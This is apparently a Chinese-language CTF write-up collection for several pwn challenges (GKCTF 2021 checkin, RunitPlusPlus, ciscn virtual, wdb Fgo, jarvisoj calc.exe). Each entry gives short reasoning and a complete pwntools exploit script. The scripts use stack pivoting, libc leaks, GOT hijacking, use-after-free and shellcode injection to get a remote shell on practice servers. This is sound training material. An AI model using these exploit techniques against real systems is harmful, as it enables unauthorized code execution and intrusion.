241 [GKCTF 2021]checkin
逻辑也比较简单。
首先输入密码的时候可以有个溢出,但是只能溢出八个字节,就只能是做一个栈迁移。
然后有个检查,首先你的名字需要是admin,然后你的密码要走一个函数。
我们去看看那个函数。
好像很复杂。
0x4007f6那个函数点开。
瞬间明白是一个md5.
所以逻辑很简单,我们输入的密码通过md5加密之后要跟v4吻合。
我们发现密码admin的md5加密结果是那个。
所以就直接栈迁移就行。
栈迁移呢需要我们在bss上写东西,输入用户名可以做到,然后呢还需要我们先泄露一次libc,再返回回来再次做一次栈迁移,这个怎么做到?
因为我们只能在bss上写三个函数地址,我们三个只能刚刚泄露地址,所以要动点脑筋。
以往我们在用一些puts函数的时候,都是用的库函数,然后返回的时候去找返回值,那么我们这里长度不够,就用点其它的小技巧。
我们用程序里面的一小段程序,puts完之后,直接进入主函数,那么我们的要求就达到了。
exp
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
r = remote("node4.buuoj.cn", "26331")
#r = process("./241")
elf = ELF("./241")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi = 0x401ab3
puts = 0x4018B5
puts_got = 0x602028
name_addr = 0x602400
payload = "admin".ljust(8,'\x00')
payload += p64(pop_rdi) + p64(puts_got) + p64(puts)
r.sendafter(">", payload)
#gdb.attach(r)
payload = "admin\x00\x00\x00"+ p64(0) * 3 + p64(name_addr)
r.sendafter(">", payload)
libc_base = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00' ) - libc.sym['puts']
print hex(libc_base)
payload = 'admin\x00\x00\x00'*3 +p64(0x4527a+libc_base)
r.sendafter(">", payload)
#gdb.attach(r)
payload = 'admin\x00\x00\x00'*4+ p64(0x602410)
r.sendafter(">", payload)
#payload 这里反复的去写admin是因为在调用过程中经常应为一些原因导致栈的数据被覆盖
r.interactive()
242 [BSidesCF 2019]RunitPlusPlus
逻辑更简单,就是开了个空间,然后让你写入shellcode。
这个shellcode呢会进行一顿操作,你倒着操作回来就行了。
exp
from pwn import *
context(log_level='debug')
r=remote("node4.buuoj.cn",29401)
r.recv()
r.send(asm(shellcraft.sh())[::-1])
r.interactive()
243 ciscn_2019_qual_virtual
申请了四个空间,第一个是用来放项目名称。
然后可以看得出来,有三个是跟指令有关系的,一个是指令。
下面那个函数可以执行指令,进去看看。
里面显然是一堆不同函数,其中a1是指令,a2,a3应该一个是数据跟操作空间吧。
指令表在这里。
显然需要一个函数一个函数分析。
最后发现有一个任意写,有一个任意读,劫持got表就好。
# -*- coding: utf-8 -*-
from pwn import *
r = remote("node4.buuoj.cn", 27532)
puts_got = 0x404020
r.recvuntil("name:")
r.sendline("/bin/sh\x00")
r.recvuntil("instruction:")
payload= 'push push load push sub div load push add '
payload+= 'push push load push sub div save '
r.sendline(payload)
r.recvuntil("data:")
payload = str(8)+' '
payload += str(-4)+' '
payload += str(puts_got+8)+' '
payload += str(-0x2a300)+' '
payload += str(8)+' '
payload += str(-5)+' '
payload += str(puts_got+8)+' '
r.sendline(payload)
r.interactive()
244 wdb_2018_2nd_Fgo
add
双层结构,第一层第一个部分是print函数,第二个部分就是一个size随便大小的chunk。
free
显然是uaf
print
输出。
就是利用uaf把printf那个函数换成system就可以了。
from pwn import *
context.log_level = "debug"
r = remote("node4.buuoj.cn", 25805)
#r = process("./244")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc.so.6")
libc = ELF("./32/libc-2.23.so")
elf = ELF("./244")
def add(size, content):
r.sendlineafter("choice:\n", "1")
r.sendlineafter("the size of servant's name : \n", str(size))
r.sendafter("ability : \n", content)
def delete(index):
r.sendlineafter("choice:\n", "2")
r.sendlineafter("Index : \n", str(index))
def show(index):
r.sendlineafter("choice:\n", "3")
r.sendlineafter("Index :", str(index))
puts_got = elf.got['puts']
add(0x20, "aaaa") #0
add(0x20, "aaaa") #1
delete(0)
delete(1)
add(0x8, p32(0x8048956)) #2
show(0)
r.interactive()
245 jarvisoj_calc.exe
没有开NX。
好家伙。
只能说结构简单。
看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看看
var能够替换功能,把add直接换成shellcode。
tnnd。
exp
from pwn import *
shellcode = asm(shellcraft.sh())
r = remote('node4.buuoj.cn', 26397)
r.sendline('var add = "'+shellcode+'"')
r.sendline('+')
r.interactive()